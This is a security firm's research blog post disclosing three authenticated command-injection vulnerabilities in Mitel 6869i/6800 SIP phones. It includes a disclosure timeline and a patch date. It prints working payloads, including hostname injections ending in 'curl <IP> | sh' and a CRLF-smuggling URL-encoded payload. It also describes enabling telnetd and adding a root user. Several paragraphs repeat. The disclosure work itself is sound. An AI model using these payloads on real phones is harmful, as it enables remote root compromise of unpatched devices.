Blog

CVE Discovery: Aquabot Botnet Targeting Vulnerable Mitel Phones

Would you like to learn more?

Download our Guide to Penetration Testing to learn everything you need to know to successfully plan, scope and execute your penetration testing projects

By Kyle Burns, Lead of Offensive Security at Packetlabs.

During one of my colleague's, John Eric Salario's, internal penetration tests, he came across a SIP phone with default credentials, giving him administrative access. In general, it's important to change the default credentials; however, the vulnerability in and of itself isn't something worth celebrating. Given the limited number of assets in the scope of the assessment, he attempted to demonstrate further impact by exploiting the device.

Through web penetration testing of the device, a series of generic non-critical vulnerabilities like stored Cross-Site Scripting, and DoS were identified. However, none of these really stood out as amazing wins, what did was the rate and type of vulnerabilities discovered. 

The Mitel 6869i SIP Phone firmware present within the client environment was `4.1.0.3013`, which was assumed to be four minor revisions away from the active 6869i version (`4.5.0.41`).  

Recognizing the potential for additional vulnerabilities, as a part of our Research and Development division we acquired the device for further in-depth testing. 

This blog details the process and discovery of three Remote Authenticated Command Injection vulnerabilities (CVE-2024-37569, CVE-2024-37570, CVE-2024-41710) in different firmware versions of Mitel SIP Phones. 

Mitel 6869i 5.0.0.1018 Authenticated Remote Command Injection via Configuration Manager (CVE-2024-37569)

I won't be going into full detail into our discovery process and will only disclose the key points which enabled us to discover some of the vulnerabilities. 

Eric had pointed out the existence of a remote code execution vulnerability present on previous firmware versions of the device. Given the vulnerability existed in 4.2.2032, our initial strategy was to downgrade the firmware to get a better idea of how the application interacts with the device. Normally it's risky, given the hosted application could be completely different, but based on the amount of disclosure for the product we didn't see this as a major risk.

With the vulnerability leveraged, we started to look for scripts, processes, or files that reference specific parameters within the web application. With access to the device, the one thing that stood out was the device's `udhcpc` process. This program is a lightweight DHCP client normally used for ARM  systems.

```

    ...

  671 root   0:00 [ethStatus]

  784 root   0:00 udhcpc -r <ip> -O vendor -O tftp -O oemkeytag -O oemgatewaytag -O sipsrv -O vlanid -V AastraIPPhone6869i -x hostname 6869i00085D448236 -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid

  847 root   0:00 [hwthread]

... 

What specifically stood out from the `udhcpc` process was the `hostname 6869i00085D448236` flag. The `provis.html` endpoint contains the same entry on a factory default setup.

What specifically stood out from the `udhcpc` process was the `hostname 6869i00085D448236` flag. The `provis.html` endpoint contains the same entry on a factory default setup.

Based on testing, and almost bricking the device, it was discovered that three criteria is needed, order to inject values and gain access to the device in an operational format:

  • The `udhcpc` process needs to complete its intended purpose. 

  • The injected command can not cause the `udhcpc` process to hang.

  • The remainder after the injection point should be nullified.

With the above criteria, the following payload was created to effectively inject into the startup process.  

```

QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <IP> | sh #

```

Normally the device boot process would look like the following:

```

udhcpc -r <IP_ADDR> -O vendor -O tftp -O oemkeytag -O oemgatewaytag -O sipsrv -O vlanid -V AastraIPPhone6869i -x hostname <HOST_NAME> -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid

```

During the next boot the `hostname` entry from `/nvdata/nvram/local.cfg` is loaded into the startup script. The payload enables the completion of the `udhcpc` startup process, executes the code and terminates the original `udhcpc` flags.

```

udhcpc -r <IP_ADDR> -O vendor -O tftp -O oemkeytag -O oemgatewaytag -O sipsrv -O vlanid -V AastraIPPhone6869i -x hostname QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <IP> | sh # -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid

```

```
udhcpc -r <IP_ADDR> -O vendor -O tftp -O oemkeytag -O oemgatewaytag -O sipsrv -O vlanid -V AastraIPPhone6869i -x hostname QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <IP> | sh # -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid
```

Given some strings are prevented, to increase the reliability of the payload, the payload `curl <IP> | sh` was used to demonstrate methods to gain access to the device's operating system. Realistically most things would work, I opted for enabling `telnetd`, and adding a root user. 

Given some strings are prevented, to increase the reliability of the payload, the payload `curl <IP> | sh` was used to demonstrate methods to gain access to the device's operating system. Realistically most things would work, I opted for enabling `telnetd`, and adding a root user.

In conclusion, the lack of sanitization in the `hostname` parameter sent to the HTTP endpoint `provis.html` is vulnerable to command injection. Authenticated users may gain root access to the device by sending a specially crafted HTTP POST request. This vulnerability was discovered with collaboration between my colleagues John Eric Salario and Michael Alampi.

Mitel 6869i 4.5.0.41 Authenticated Remote Command Injection via Firmware Update Manager (CVE-2024-37570)

With access to the device, I was able to pull web applications. The binary `/bin/linemgrSip` (main application) which is a 32-bit LSB ARM executable binary. 

One area of the application I had interests in was the firmware upgrade process. One method of exploitation I had previously attempted was to modify the firmware in a way which boots with a backdoor, however the firmware upgrade process validates the firmware has not been tampered prior to writing the firmware to disk.

When reviewing the decompiled method, a series of parameters are eventually passed into the busybox `ftpget` binary.

When reviewing the decompiled method, a series of parameters are eventually passed into the busybox `ftpget` binary.

During testing, some of the strings used were seen sanitized by the application, both reverse engineering and binary argument proxying were used to debug this. 

For context `ftpget` is not an individual binary, but a symbolic link to a subcommand within busybox. I can essentially hook the flow of the command by overwriting the symbolic link to point to the following script `ftpget.sh`, which will write the contents to a file and lastly pass it to the origin busybox binary.

```

#!/bin/sh

# Pull the default

echo "$0 $@" >> /var/tmp/ftpget.src

# Run the command.

init_=$(echo "$@" | sed 's:/usr/bin/ftpget:ftpget:')

echo "$init_" >> /var/tmp/values

exec /bin/busybox ftpget $init_

```

Eventually it was discovered that the calling method does not properly sanitize the `username` and `path` parameter prior to appending the flags to the busybox `ftpget` command.

Eventually it was discovered that the calling method does not properly sanitize the `username` and `path` parameter prior to appending the flags to the busybox `ftpget` command.

Unlike the previous vulnerability (CVE-2024-37569), this one does not require the device to be rebooted, making it more versatile.  

Mitel 6800 6.3.0.1020 Authenticated Remote Command Injection via CRLF Configurational Entry Smuggling (CVE-2024-41710)

On May 9, 2024, I received a response from Mitel PSIRT stating that they no long support the 6869i specific firmware versions (`4.5.0.41`, `5.0.0.1018`), and instead have pivoted to a 6800 series specific firmware (`6.3.0.1020`).

Unfortunate, right? Feeling a bit competitive, the same day I downloaded the latest publicly available firmware version `6.3.0.1020` for the 6800 series and deployed it. The correspondence suggested that `6.4.*` was the latest version, however I was unable to find it and suspect it's for Mitel partners only.

If you recall the previous vulnerability (CVE-2024-37569), the `hostname` value stored within the `/nvdata/nvram/local.cfg` file was used to hijack the `udhcpc` command flow, enabling command injection capabilities.

After deploying `6.3.0.1020`, and starting the device I was eventually treated to the original payloads HTTP callback request. How, and why?

For context within programming, generally the values represented in the version mean something (I know shocker). With regards to `6.3.0.1020`:  

1.  Major version: This is the first segment '6', signifies a significant release which often includes substantial changes. Major versions usually indicate backward-incompatible changes.

2.  Minor version: The second segment, '3', represents the minor version. Minor versions usually bring smaller updates, or bug fixes. Minor versions are typically backward-compatible.

3. The last two are not relevant to the vulnerability, but are known as patch version, and build number.

Given the above, I was expecting all contents on the previous firmware version (`4.5.0.41`, `5.0.0.1018`) to be wiped when upgrading to `6.3.0.1020`. However on boot, I received a callback and regained root access to the device. Turns out the `/nvdata/nvram/local.cfg` file is not wiped and is always used when upgrading firmware regardless of the major version. This is important as, `6.3.0.1020` has indirectly patched the medium used to write malicious content (`provis.html`) to the `hostname` entry in `/nvdata/nvram/local.cfg`.

Knowing that the `udhcpc` process can still be used to root the device, the only thing that needed to be discovered was a method to inject into the `hostname` entry in `/nvdata/nvram/local.cfg`.

Therefore, an alternative avenue that came to mind was how the device loads and runs content supplied within `/nvdata/nvram/local.cfg`. From what I can tell, every modification a user can make is all loaded from the `/nvdata/nvram/local.cfg` file. Subsequently, If I can find a way to smuggle an additional entry through any of the API's I could potentially overwrite or have the device interpret it as the actual entry on boot.

Entries within `/nvdata/nvram/local.cfg` are separated per line, with the keys and values being separated by the `:` character. Values that have spaces are just double quoted. By default the `/nvdata/nvram/local.cfg` doesn't actually contain most entries, and if the entry doesn't exist the default is used. An example of a generic configuration with some entries is shown. 

```

firmware md5: e2ffbee2c880c556d165e27c1e348bfe

hostname: 6869i

contact rcs: 0

eap type: 1

identity: "QWERTY NULL"

```

Reviewing the bytes of `/nvdata/nvram/local.cfg`, it was seen that every entry is separated by carriage return (`0x0d`) and line feed (`0x0a`).

```

66 69 72 6d 77 61 72 65 20 6d 64 35 3a 20 65 32 66 66 62 65 65 32 63 38 38 30 63 35 35 36 64 31 36 35 65 32 37 63 31 65 33 34 38 62 66 65 0d 0a

firmware md5: e2ffbee2c880c556d165e27c1e348bfe\r\n

68 6f 73 74 6e 61 6d 65 3a 20 36 38 36 39 69 0d 0a

hostname: 6869i\r\n

63 6f 6e 74 61 63 74 20 72 63 73 3a 20 30 0d 0a

contactrcs: 0\r\n

65 61 70 20 74 79 70 65 3a 20 31 0d 0a

eaptype: 1\r\n

69 64 65 6e 74 69 74 79 3a 20 22 51 57 45 52 54 59 20 4e 55 4c 4c 22 0d 0a

identity: "QWERTY NULL"\r\n

```

Knowing this, I wanted to see if I could smuggle the values of `0x0d`, `0x0a` into the `/nvdata/nvram/local.cfg` file and add an unsanitized record into `hostname`. However the application successfully prevented the characters sequence `0x0d,0x0a` from being placed into application.  

When an invalid URL encoded value, in this instance `%bz` is provided by the application, it will end up appending `0` and the first hexadecimal character `[A-F0-9]`.  

Knowing this, I wanted to see if I could smuggle the values of `0x0d`, `0x0a` into the `/nvdata/nvram/local.cfg` file and add an unsanitized record into `hostname`. However the application successfully prevented the characters sequence `0x0d,0x0a` from being placed into application.  

When an invalid URL encoded value, in this instance `%bz` is provided by the application, it will end up appending `0` and the first hexadecimal character `[A-F0-9]`.

Therefore, with this method we can use `%dt` to inject the value `0x0d`. Although we've successfully added the `0x0d` character there was no guarantee that the application would interpret this as a new entry when loading the smuggled value.

With that being said, the other thing that needed to be identified was how the application deals with duplicate entries. Would it take the first or second instance? Depending on the answer to this, only specific application endpoint parameters could be used. This is because, when  application write requests are made, they're actually made in a specific order. For example, configurational changes made in the '802.1x Support'  (`8021xsupport.html`) page will always be written below the `hostname` entry in `/nvdata/nvram/local.cfg`.

Therefore, with this method we can use `%dt` to inject the value `0x0d`. Although we've successfully added the `0x0d` character there was no guarantee that the application would interpret this as a new entry when loading the smuggled value.

With that being said, the other thing that needed to be identified was how the application deals with duplicate entries. Would it take the first or second instance? Depending on the answer to this, only specific application endpoint parameters could be used. This is because, when  application write requests are made, they're actually made in a specific order. For example, configurational changes made in the '802.1x Support'  (`8021xsupport.html`) page will always be written below the `hostname` entry in `/nvdata/nvram/local.cfg`.

To demonstrate this, the payload `%42%42%42%42%dteap+type:+%41%41%41%41%41%41%41%41%41%41%41` would overwrite `eap type` entry within `/nvdata/nvram/local.cfg` via `802.1x identity` entry, therefore bypassing any sanitation performed on other web application calls. 

To demonstrate this, the payload `%42%42%42%42%dteap+type:+%41%41%41%41%41%41%41%41%41%41%41` would overwrite `eap type` entry within `/nvdata/nvram/local.cfg` via `802.1x identity` entry, therefore bypassing any sanitation performed on other web application calls.

During the reboot process it was identified that the second entry is prioritized over the first, and subsequently overwrites it. During the device's `udhcpc` process the application would then use the poisoned `hostname` parameter. 

```

# cat /nvdata/nvram/local.cfg

firmware md5: e2ffbee2c880c556d165e27c1e348bfe

hostname: "QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <IP> | sh ;#"

contact rcs: 0

sprecode: 22

eap type: 1

eap type: AAAAAAAAAAA"

```

By reusing the original `hostname` injection point from CVE-2024-37569, another method of command injection was achieved on the 6800 open solution 6.3.0.1020.

Disclosure Timeline

(April 7, 2024) - CVE-2024-37569 vulnerability discovery.

(April 25, 2024) - CVE-2024-37569 disclosed to Mitel PSIRT.

(April 30, 2024) - Mitel PSIRT confirms retrieval of CVE-2024-37569 report

(May 8, 2024) - CVE-2024-37570 vulnerability discovery

(May 9, 2024) - Mitel PSIRT response, stating they longer maintain 6869i specific firmware.  

(May 9, 2024) - CVE-2024-41710 vulnerability discovery on 6800 open solution firmware (6.3.0.1020).

(May 9, 2024) - CVE-2024-41710 disclosed to Mitel PSIRT.

(May 13, 2024) - Mitel PSIRT confirms retrieval of CVE-2024-41710 report

(May 29, 2024) - Mitel PSIRT confirms the vulnerability is present `6.3.0.1020` and `6.4.*`

(June 06, 2024) - vulnerability assigned ID of CVE-2024-37570.

(June 06, 2024) - vulnerability assigned ID of CVE-2024-37569.

(July 17, 2024) - Patch issued for CVE-2024-41710.

(July 22, 2024) - Vulnerability assigned ID of CVE-2024-41710.

A Retrospective Look

The unique thing about this vulnerability stems from the reason for injection. Inherently, depending on if pre-boot parsing of the `local.cfg` occurs, it may not be important to be able to smuggle entries into the file. Therefore it's up in the air if I would have looked into the region further. Luckily, Mitel firmware doesn't purge the `local.cfg` upon a firmware update.  

If you have a Mitel 6869i device, the exploit code for CVE-2024-37570, CVE-2024-37569, and CVE-2024-41710 are available on my github.

Conclusion

Organizations with embedded systems or IoT devices requiring vulnerability assessments are encouraged to reach out to research@packetlabs.net.

Security research can be conducted at no cost, with a focus on identifying vulnerabilities. Any discovered issues will be responsibly disclosed in accordance with industry best practices.

Let's Connect

Share your details, and a member of our team will be in touch soon.

Explore in-depth resources from our ethical hackers to assist you and your team’s cyber-related decisions.

See All

September 13 - Blog

Why Multi-Factor Authentication is Not Enough

Knowing is half the battle, and the use and abuse of common frameworks shed insight into what defenders need to do to build defense in depth.

November 19 - Blog

The Top Cybersecurity Statistics for 2024

The top cybersecurity statistics for 2024 can help inform your organization's security strategies for 2025 and beyond. Learn more today.

October 24 - Blog

Packetlabs at SecTor 2024

Packetlabs is thrilled to have been a part of SecTor 2024. Learn more about our top takeaway's from this year's Black Hat event.

Packetlabs Company Logo
    • Toronto | HQ
    • 401 Bay Street, Suite 1600
    • Toronto, Ontario, Canada
    • M5H 2Y4
    • San Francisco | HQ
    • 580 California Street, 12th floor
    • San Francisco, CA, USA
    • 94104